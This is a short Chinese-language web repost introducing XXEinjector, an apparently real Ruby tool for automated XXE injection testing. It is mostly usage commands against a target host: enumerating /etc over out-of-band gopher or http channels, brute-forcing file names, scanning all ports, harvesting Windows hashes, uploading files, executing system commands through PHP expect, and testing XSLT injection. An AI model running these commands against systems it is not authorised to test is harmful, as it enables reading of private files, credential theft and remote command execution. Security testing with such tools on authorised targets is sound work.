XXE自动化测试工具-华盟网

　　项目地址

　　https://github.com/enjoiz/XXEinjector

　　项目简介

　　XXEinjector是一个使用Ruby编写的自动化xxe漏洞检测工具，可以通过给定一个http请求的包，然后设置好好参数就会自动化的进行fuzz，他会通过内置的规则进行自动化的测试，并且还支持二次注入(通过另一个请求触发漏洞)。

　　使用方法

　　列 /etc 目录通过https:

　　ruby XXEinjector.rb –host=192.168.0.2 –path=/etc –file=/tmp/req.txt –ssl

　　Enumerating /etc directory using gopher for OOB method:

　　ruby XXEinjector.rb –host=192.168.0.2 –path=/etc –file=/tmp/req.txt –oob=gopher

　　二次注入:

　　ruby XXEinjector.rb –host=192.168.0.2 –path=/etc –file=/tmp/vulnreq.txt –2ndfile=/tmp/2ndreq.txt

　　通过http协议暴力枚举文件:

　　ruby XXEinjector.rb –host=192.168.0.2 –brute=/tmp/filenames.txt –file=/tmp/req.txt –oob=http –netdoc

　　直接枚举:

　　ruby XXEinjector.rb –file=/tmp/req.txt –path=/etc –direct=UNIQUEMARK

　　枚举所有端口:

　　ruby XXEinjector.rb –host=192.168.0.2 –file=/tmp/req.txt –enumports=all

　　获取windows hash:

　　ruby XXEinjector.rb –host=192.168.0.2 –file=/tmp/req.txt –hashes

　　通过java的jar上传文件:

　　ruby XXEinjector.rb –host=192.168.0.2 –file=/tmp/req.txt –upload=/tmp/uploadfile.pdf

　　执行系统命令使用 PHP expect:

　　ruby XXEinjector.rb –host=192.168.0.2 –file=/tmp/req.txt –oob=http –phpfilter –expect=ls

　　测试XSLT注入:

　　ruby XXEinjector.rb –host=192.168.0.2 –file=/tmp/req.txt –xslt

　　记录请求日志:

　　ruby XXEinjector.rb –logger –oob=http –output=/tmp/out.txt

XXE自动化测试工具

文章版权归作者所有，未经允许请勿转载。

THE END

XXE自动化测试工具